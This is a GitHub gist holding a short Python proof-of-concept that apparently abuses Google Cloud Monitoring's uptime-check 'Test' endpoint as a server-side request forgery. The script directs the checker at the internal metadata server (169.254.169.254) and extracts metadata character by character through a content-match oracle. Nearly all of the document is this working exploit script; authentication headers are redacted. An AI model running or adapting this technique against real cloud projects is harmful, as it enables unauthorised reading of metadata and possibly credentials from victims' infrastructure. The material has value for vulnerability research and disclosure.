Skip to content

Instantly share code, notes, and snippets.

@nechudav
Created November 12, 2020 15:44
Show Gist options
  • Star 13 You must be signed in to star a gist
  • Fork 1 You must be signed in to fork a gist
  • Save nechudav/0b2e0217ffe31a3cd1c1743c590595e6 to your computer and use it in GitHub Desktop.
Save nechudav/0b2e0217ffe31a3cd1c1743c590595e6 to your computer and use it in GitHub Desktop.
# This is only basic version to get the idea how the script to parse response worked, I made it faster later by
# making asynchronous calls
import requests
# This endpoint is called when the Test button in uptime checks is pressed
url = 'https://monitoring.clients6.google.com/v3/projects/<projectId>:validateUptimeCheckConfig'
body = '{"checkerType":"WHITELISTED_CHECKERS","contentMatchers":[{"content":"XXXX","matcher":"CONTAINS_STRING"}],' \
'"displayName":"test","httpCheck":{"headers":{"Metadata-Flavor":"Google"},' \
'"path":"/computeMetadata/v1/project/project-id","port":80,"validateSsl":false},"logCheckFailures":true,' \
'"monitoredResource":{"labels":{"host":"169.254.169.254"},"type":"uptime_url"},"period":"60s","timeout":"10s"}';
headers = {
# REDACTED - authentication headers (copied from the browser)
}
def is_containing(chcked_string):
request_body = body.replace("XXXX", chcked_string)
r = requests.post(url=url, data=request_body, headers=headers)
result = r.json()
res_parsed = result['uptimeCheckResults'][0]
return 'contentMismatch' not in res_parsed
contained_string = ''
charset = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_'
while True:
found = False
if not found:
for ch in charset:
validated_string = contained_string + ch
print('Trying ', validated_string)
if is_containing(validated_string):
print('Found: ' + validated_string)
contained_string = validated_string;
found = True
break
if not found:
print('Did not find any, end ', contained_string)
break
else:
print('Current string: ', contained_string)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment